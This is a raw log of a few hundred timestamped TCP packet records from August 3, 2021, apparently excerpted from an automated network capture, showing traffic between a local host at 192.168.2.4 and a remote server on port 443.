Aug 3, 2021 20:39:46.137166977 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.137209892 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.137211084 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.137255907 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.137269020 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.137303114 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.137321949 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.137347937 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.137367010 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.137403011 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.137449026 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.137461901 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.137522936 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.137526035 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.137540102 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.137583017 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.137597084 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.137638092 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.137650967 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.137685061 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.137698889 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.137737989 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.137739897 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.137784004 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.137789965 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.137834072 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.157233953 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.157291889 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.157330990 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.157336950 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.157361984 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.157370090 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.157386065 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.157408953 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.157432079 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.157455921 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.157463074 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.157500982 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.157515049 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.157537937 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.157562971 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.157577038 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.157614946 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.157615900 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.157644987 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.157651901 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.157671928 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.157690048 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.157700062 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.157726049 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.157730103 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.157766104 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.157773018 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.157814980 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.157828093 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.157851934 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.157860994 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.157890081 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.157895088 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.157927990 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.157931089 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.157969952 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.181430101 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.181499004 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.181673050 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.182255983 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.269996881 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.309160948 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.309233904 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.309278965 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.309317112 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.309355021 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.309353113 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.309387922 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.309392929 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.309392929 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.309429884 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.309449911 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.309503078 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.317586899 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.317634106 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.317672014 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.317709923 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.317729950 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.317748070 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.317765951 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.317785978 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.317823887 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.317852974 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.317869902 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.317926884 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.317954063 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.317965031 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.318005085 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.318020105 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.318042994 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.318080902 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.318099976 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.318119049 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.318156004 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.318172932 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.318202972 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.318245888 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.318259954 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.318305016 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.318352938 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.318358898 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.318397045 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.318434000 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.318451881 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.318474054 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.318512917 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.318523884 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.318548918 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.318588972 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.318603039 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.318631887 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.318680048 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.318691015 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.318723917 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.318761110 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.318775892 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.318799973 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.318869114 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.319019079 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.319067955 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.319109917 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.319166899 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.319184065 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.319224119 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.319262028 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.319269896 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.319299936 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.319338083 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.319360018 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.319376945 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.319397926 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.337713957 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.337755919 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.337795973 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.337825060 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.337833881 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.337867975 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.337871075 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.337909937 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.337954998 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.337959051 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.338006973 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.338011980 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.338049889 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.338087082 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.338104963 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.338124990 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.338161945 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.338176012 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.338198900 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.338236094 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.338273048 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.338319063 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.338318110 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.338350058 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.338361979 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.338397980 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.338435888 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.338444948 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.338502884 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.361938953 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.363646030 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.363748074 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.489584923 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.489619017 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.489641905 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.489665985 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.489684105 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.489687920 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.489706039 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.489712000 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.489732027 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.489748955 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.498578072 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.498667002 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.498671055 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.498698950 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.498723984 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.498737097 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.498970032 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499022961 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.499025106 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499097109 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499135971 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499155045 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499171019 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499185085 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.499186993 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499228954 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499245882 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499248028 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.499258041 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499269962 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499285936 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499286890 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.499301910 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499306917 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.499317884 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499332905 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499347925 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499361992 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499368906 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.499381065 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499397039 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499411106 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.499412060 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499427080 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499440908 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.499443054 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499459028 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499470949 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.499475002 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499490023 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499500990 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.499509096 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499522924 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499533892 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.499537945 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499555111 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499564886 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.499569893 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499588966 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499599934 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.499604940 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499620914 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499635935 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.499635935 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499659061 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499663115 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.499665022 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.499715090 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.518667936 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.518701077 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.518723965 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.518743992 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.518769979 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.518790007 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.518809080 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.518815041 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.518825054 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.518845081 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.518851042 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.518855095 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.518865108 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.518871069 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.518883944 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.518904924 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.518917084 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.518928051 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.518948078 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.518964052 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.518966913 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.518981934 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.519006968 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.519013882 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.519032001 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.519051075 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.519076109 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.519103050 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.519113064 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.519125938 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.519157887 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.519164085 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.543426991 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.543464899 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.543535948 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.589839935 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.669338942 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.669385910 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.669419050 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.669450045 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.669480085 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.669511080 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.669574976 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.669678926 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.669687986 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.678203106 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.678226948 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.678244114 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.678260088 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.678416014 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.678472996 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.678772926 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.678827047 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.678994894 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.679064035 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.679110050 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.679184914 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.679224968 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.679264069 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.679302931 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.679335117 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.679343939 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.679347038 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.679393053 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.679430008 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.679438114 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.679476976 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.679519892 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.679550886 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.679572105 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.679584026 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.679599047 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.679603100 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.679641962 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.679680109 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.679717064 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.679744959 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.679755926 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.679769993 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.679791927 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.679831028 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.679867983 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.679877996 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.679917097 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.679919958 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.679960966 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.679997921 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.680037022 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.680047035 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.680073977 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.680087090 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.680110931 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.680149078 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.680186033 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.680200100 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.680229902 CEST	49756	443	192.168.2.4	207.241.228.148
